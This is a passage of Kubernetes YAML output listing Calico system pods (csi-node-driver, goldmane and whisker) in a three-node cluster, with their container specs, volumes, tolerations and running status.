            fieldPath: spec.nodeName
      image: quay.io/calico/csi:v3.30.4
      imagePullPolicy: IfNotPresent
      name: calico-csi
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/kubelet
        mountPropagation: Bidirectional
        name: kubelet-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run
        name: varrun
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hzfkg
        readOnly: true
    - args:
      - --v=5
      - --csi-address=$(ADDRESS)
      - --kubelet-registration-path=$(DRIVER_REG_SOCK_PATH)
      env:
      - name: ADDRESS
        value: /csi/csi.sock
      - name: DRIVER_REG_SOCK_PATH
        value: /var/lib/kubelet/plugins/csi.tigera.io/csi.sock
      - name: KUBE_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: quay.io/calico/node-driver-registrar:v3.30.4
      imagePullPolicy: IfNotPresent
      name: csi-node-driver-registrar
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /registration
        name: registration-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hzfkg
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: csi-node-driver
    serviceAccountName: csi-node-driver
    terminationGracePeriodSeconds: 30
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    volumes:
    - hostPath:
        path: /var/lib/kubelet
        type: Directory
      name: kubelet-dir
    - hostPath:
        path: /var/lib/kubelet/plugins_registry
        type: Directory
      name: registration-dir
    - hostPath:
        path: /var/lib/kubelet/plugins/csi.tigera.io
        type: DirectoryOrCreate
      name: socket-dir
    - hostPath:
        path: /var/run
        type: ""
      name: varrun
    - name: kube-api-access-hzfkg
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:12:27Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:12:27Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://f4450b43174837b7730803f98cd5662870960cb73bbe9797a79dcc9dcbffc3b5
      image: quay.io/calico/csi:v3.30.4
      imageID: quay.io/calico/csi@sha256:9de250fd764b7137c041449745062d4c31d3dbe5525de860920c3d41d8652a5d
      lastState:
        terminated:
          containerID: containerd://dbf060f19c69d641a9ee8e355bcbeb3bdb1718a96a9e1b5dfc05a0ac723ad101
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:08:02Z"
      name: calico-csi
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:16Z"
      volumeMounts:
      - mountPath: /var/lib/kubelet
        name: kubelet-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run
        name: varrun
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hzfkg
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://35c920cc5d26e178350097af1a157560210ff6c36b2d83ef35280d8b3fe0ef2f
      image: quay.io/calico/node-driver-registrar:v3.30.4
      imageID: quay.io/calico/node-driver-registrar@sha256:08b89eaa7ddb34b40347b762f4a1bc37e590bd984dfc2fb68a288cf41eaaa7b8
      lastState:
        terminated:
          containerID: containerd://59024d0febb5c0d92057e1e7e05f305e34e5834e48bcbaad2ac3d2fe73825c53
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:08:02Z"
      name: csi-node-driver-registrar
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:16Z"
      volumeMounts:
      - mountPath: /registration
        name: registration-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hzfkg
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.131
    podIPs:
    - ip: 192.168.133.131
    qosClass: BestEffort
    startTime: "2025-10-19T16:12:27Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: eb01ea57c59a4f8435928c65ee258d9be606849babafb0acf34f3598ca5448e8
      cni.projectcalico.org/podIP: 192.168.61.208/32
      cni.projectcalico.org/podIPs: 192.168.61.208/32
    creationTimestamp: "2025-11-25T15:22:11Z"
    generateName: csi-node-driver-
    generation: 1
    labels:
      app.kubernetes.io/name: csi-node-driver
      controller-revision-hash: 574b5f4769
      k8s-app: csi-node-driver
      name: csi-node-driver
      pod-template-generation: "1"
    name: csi-node-driver-sbfpt
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: csi-node-driver
      uid: 2e15d322-f044-463e-972a-fc916ef3808f
    resourceVersion: "18034096"
    uid: a410b2cc-7cac-4e9a-9cf8-f3f1f94277ea
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-2
    containers:
    - args:
      - --nodeid=$(KUBE_NODE_NAME)
      - --loglevel=$(LOG_LEVEL)
      env:
      - name: LOG_LEVEL
        value: warn
      - name: KUBE_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: quay.io/calico/csi:v3.30.4
      imagePullPolicy: IfNotPresent
      name: calico-csi
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/kubelet
        mountPropagation: Bidirectional
        name: kubelet-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run
        name: varrun
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-99r7k
        readOnly: true
    - args:
      - --v=5
      - --csi-address=$(ADDRESS)
      - --kubelet-registration-path=$(DRIVER_REG_SOCK_PATH)
      env:
      - name: ADDRESS
        value: /csi/csi.sock
      - name: DRIVER_REG_SOCK_PATH
        value: /var/lib/kubelet/plugins/csi.tigera.io/csi.sock
      - name: KUBE_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: quay.io/calico/node-driver-registrar:v3.30.4
      imagePullPolicy: IfNotPresent
      name: csi-node-driver-registrar
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /registration
        name: registration-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-99r7k
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: csi-node-driver
    serviceAccountName: csi-node-driver
    terminationGracePeriodSeconds: 30
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    volumes:
    - hostPath:
        path: /var/lib/kubelet
        type: Directory
      name: kubelet-dir
    - hostPath:
        path: /var/lib/kubelet/plugins_registry
        type: Directory
      name: registration-dir
    - hostPath:
        path: /var/lib/kubelet/plugins/csi.tigera.io
        type: DirectoryOrCreate
      name: socket-dir
    - hostPath:
        path: /var/run
        type: ""
      name: varrun
    - name: kube-api-access-99r7k
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:58Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:11Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:58Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:58Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:11Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://a287cc7c6a8f5d3ef8a680b80a06c57e7dafc65cbb65f4f93e9bd54866f7d013
      image: quay.io/calico/csi:v3.30.4
      imageID: quay.io/calico/csi@sha256:9de250fd764b7137c041449745062d4c31d3dbe5525de860920c3d41d8652a5d
      lastState:
        terminated:
          containerID: containerd://c13208fcece23a31c2d763d827b438c22887ec54f3e147e0b4b6e3264428ae7f
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:59Z"
      name: calico-csi
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:49Z"
      volumeMounts:
      - mountPath: /var/lib/kubelet
        name: kubelet-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run
        name: varrun
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-99r7k
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://9681e28e29cb9ee49de0939c271390cb7dea44f973ccf4306b26314480c797ee
      image: quay.io/calico/node-driver-registrar:v3.30.4
      imageID: quay.io/calico/node-driver-registrar@sha256:08b89eaa7ddb34b40347b762f4a1bc37e590bd984dfc2fb68a288cf41eaaa7b8
      lastState:
        terminated:
          containerID: containerd://74615dd5a3c09e9cc80e34a606efa90b527157e308951cd85238bd75a9cebc8a
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:00Z"
      name: csi-node-driver-registrar
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:58Z"
      volumeMounts:
      - mountPath: /registration
        name: registration-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-99r7k
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.208
    podIPs:
    - ip: 192.168.61.208
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:11Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: c200875de33a1ce8dcfdc07a4d20eb32ab4a648437a938dec30b1e767a631ff9
      cni.projectcalico.org/podIP: 192.168.34.22/32
      cni.projectcalico.org/podIPs: 192.168.34.22/32
    creationTimestamp: "2025-10-19T16:12:27Z"
    generateName: csi-node-driver-
    generation: 1
    labels:
      app.kubernetes.io/name: csi-node-driver
      controller-revision-hash: 574b5f4769
      k8s-app: csi-node-driver
      name: csi-node-driver
      pod-template-generation: "1"
    name: csi-node-driver-skbh6
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: csi-node-driver
      uid: 2e15d322-f044-463e-972a-fc916ef3808f
    resourceVersion: "18046285"
    uid: a46d68e5-2831-49a0-a71f-d04f8807ea7b
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-3
    containers:
    - args:
      - --nodeid=$(KUBE_NODE_NAME)
      - --loglevel=$(LOG_LEVEL)
      env:
      - name: LOG_LEVEL
        value: warn
      - name: KUBE_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: quay.io/calico/csi:v3.30.4
      imagePullPolicy: IfNotPresent
      name: calico-csi
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/kubelet
        mountPropagation: Bidirectional
        name: kubelet-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run
        name: varrun
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-wgxcq
        readOnly: true
    - args:
      - --v=5
      - --csi-address=$(ADDRESS)
      - --kubelet-registration-path=$(DRIVER_REG_SOCK_PATH)
      env:
      - name: ADDRESS
        value: /csi/csi.sock
      - name: DRIVER_REG_SOCK_PATH
        value: /var/lib/kubelet/plugins/csi.tigera.io/csi.sock
      - name: KUBE_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      image: quay.io/calico/node-driver-registrar:v3.30.4
      imagePullPolicy: IfNotPresent
      name: csi-node-driver-registrar
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /registration
        name: registration-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-wgxcq
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: csi-node-driver
    serviceAccountName: csi-node-driver
    terminationGracePeriodSeconds: 30
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    volumes:
    - hostPath:
        path: /var/lib/kubelet
        type: Directory
      name: kubelet-dir
    - hostPath:
        path: /var/lib/kubelet/plugins_registry
        type: Directory
      name: registration-dir
    - hostPath:
        path: /var/lib/kubelet/plugins/csi.tigera.io
        type: DirectoryOrCreate
      name: socket-dir
    - hostPath:
        path: /var/run
        type: ""
      name: varrun
    - name: kube-api-access-wgxcq
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:12:27Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:12:27Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://7f5b66f549629af6e2c18339217f7c3901051e155753cf70fc2a057ccdede37f
      image: quay.io/calico/csi:v3.30.4
      imageID: quay.io/calico/csi@sha256:9de250fd764b7137c041449745062d4c31d3dbe5525de860920c3d41d8652a5d
      lastState:
        terminated:
          containerID: containerd://f884d6c1d277367f1e71c801b4355452766f18904f8432b5ee502149eb84e56b
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:53Z"
      name: calico-csi
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:18Z"
      volumeMounts:
      - mountPath: /var/lib/kubelet
        name: kubelet-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run
        name: varrun
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-wgxcq
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://b224c8707ea7cb31cedbca05c37b4475b56f10c0fe89cd78fbeb2521685e5202
      image: quay.io/calico/node-driver-registrar:v3.30.4
      imageID: quay.io/calico/node-driver-registrar@sha256:08b89eaa7ddb34b40347b762f4a1bc37e590bd984dfc2fb68a288cf41eaaa7b8
      lastState:
        terminated:
          containerID: containerd://ac3e71cfac977ee971a33cba4b095f39c99c534ad382227971b2f75c3947fe34
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:54Z"
      name: csi-node-driver-registrar
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:18Z"
      volumeMounts:
      - mountPath: /registration
        name: registration-dir
      - mountPath: /csi
        name: socket-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-wgxcq
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.22
    podIPs:
    - ip: 192.168.34.22
    qosClass: BestEffort
    startTime: "2025-10-19T16:12:27Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 9bf19f44cc6f0498c5d0c57a5131912cdfaf4e9165ac365462076a780ca0596c
      cni.projectcalico.org/podIP: 192.168.34.41/32
      cni.projectcalico.org/podIPs: 192.168.34.41/32
    creationTimestamp: "2025-10-19T16:26:42Z"
    generateName: goldmane-74cb5d9557-
    generation: 1
    labels:
      app.kubernetes.io/name: goldmane
      k8s-app: goldmane
      pod-template-hash: 74cb5d9557
    name: goldmane-74cb5d9557-hhnbv
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: goldmane-74cb5d9557
      uid: 136a0386-775c-41d8-b46b-06a671d1b33c
    resourceVersion: "18046516"
    uid: 88f4e130-8c39-4315-bb8a-660ea0feb5df
  spec:
    containers:
    - env:
      - name: LOG_LEVEL
        value: INFO
      - name: PORT
        value: "7443"
      - name: SERVER_CERT_PATH
        value: /goldmane-key-pair/tls.crt
      - name: SERVER_KEY_PATH
        value: /goldmane-key-pair/tls.key
      - name: CA_CERT_PATH
        value: /etc/pki/tls/certs/tigera-ca-bundle.crt
      - name: PUSH_URL
        value: https://guardian.calico-system.svc.cluster.local:443/api/v1/flows/bulk
      - name: FILE_CONFIG_PATH
        value: /config/config.json
      - name: HEALTH_ENABLED
        value: "true"
      image: quay.io/calico/goldmane:v3.30.4
      imagePullPolicy: IfNotPresent
      livenessProbe:
        exec:
          command:
          - /health
          - -live
        failureThreshold: 3
        periodSeconds: 60
        successThreshold: 1
        timeoutSeconds: 5
      name: goldmane
      readinessProbe:
        exec:
          command:
          - /health
          - -ready
        failureThreshold: 3
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsGroup: 10001
        runAsNonRoot: true
        runAsUser: 10001
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /config
        name: config
        readOnly: true
      - mountPath: /etc/pki/tls/certs
        name: goldmane-ca-bundle
        readOnly: true
      - mountPath: /goldmane-key-pair
        name: goldmane-key-pair
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-dccpf
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: goldmane
    serviceAccountName: goldmane
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: goldmane
      name: config
    - configMap:
        defaultMode: 420
        name: goldmane-ca-bundle
      name: goldmane-ca-bundle
    - name: goldmane-key-pair
      secret:
        defaultMode: 420
        secretName: goldmane-key-pair
    - name: kube-api-access-dccpf
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:26:42Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:52Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:52Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:26:42Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://691953151ce96485cb0edde5d019a36a719c8c8c685e921e81066bdf1b1d9050
      image: quay.io/calico/goldmane:v3.30.4
      imageID: quay.io/calico/goldmane@sha256:e2532b809d90ecd57271ba720ec71b91e0bb4aa4ea67623412d98f380e8102d3
      lastState:
        terminated:
          containerID: containerd://2f08fe5f75c6359cfd62f34c5dd0d61c581affacc2c850f7f914bac1cb272c0a
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:50Z"
      name: goldmane
      ready: true
      resources: {}
      restartCount: 7
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:18Z"
      volumeMounts:
      - mountPath: /config
        name: config
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/certs
        name: goldmane-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /goldmane-key-pair
        name: goldmane-key-pair
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-dccpf
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.41
    podIPs:
    - ip: 192.168.34.41
    qosClass: BestEffort
    startTime: "2025-10-19T16:26:42Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: a1d97f2a6c4665e9f4384982296e097027e9947a03da214e7378e9e610c952a4
      cni.projectcalico.org/podIP: 192.168.61.194/32
      cni.projectcalico.org/podIPs: 192.168.61.194/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: whisker-796cf9b5d7-
    generation: 1
    labels:
      app.kubernetes.io/name: whisker
      k8s-app: whisker
      pod-template-hash: 796cf9b5d7
    name: whisker-796cf9b5d7-lfc95
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: whisker-796cf9b5d7
      uid: dd4622fc-fa1e-4b9e-950b-a3e05223523f
    resourceVersion: "18033633"
    uid: d01ce624-9121-4a62-8456-fbf4cd4e35a4
  spec:
    containers:
    - env:
      - name: LOG_LEVEL
        value: INFO
      - name: CALICO_VERSION
        value: v3.30.4
      - name: CLUSTER_ID
        value: 4340eeee73184b3e9a0bb5daa080f23d
      - name: CLUSTER_TYPE
        value: k8s,bgp,kubeadm,kdd,typha,operator
      - name: NOTIFICATIONS
        value: Enabled
      image: quay.io/calico/whisker:v3.30.4
      imagePullPolicy: IfNotPresent
      name: whisker
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsGroup: 10001
        runAsNonRoot: true
        runAsUser: 10001
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-95j78
        readOnly: true
    - env:
      - name: LOG_LEVEL
        value: INFO
      - name: PORT
        value: "3002"
      - name: GOLDMANE_HOST
        value: goldmane.calico-system.svc.cluster.local:7443
      - name: TLS_CERT_PATH
        value: /whisker-backend-key-pair/tls.crt
      - name: TLS_KEY_PATH
        value: /whisker-backend-key-pair/tls.key
      image: quay.io/calico/whisker-backend:v3.30.4
      imagePullPolicy: IfNotPresent
      name: whisker-backend
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsGroup: 10001
        runAsNonRoot: true
        runAsUser: 10001
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /whisker-backend-key-pair
        name: whisker-backend-key-pair
        readOnly: true
      - mountPath: /etc/pki/tls/certs
        name: whisker-ca-bundle
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-95j78
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: whisker
    serviceAccountName: whisker
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoExecute
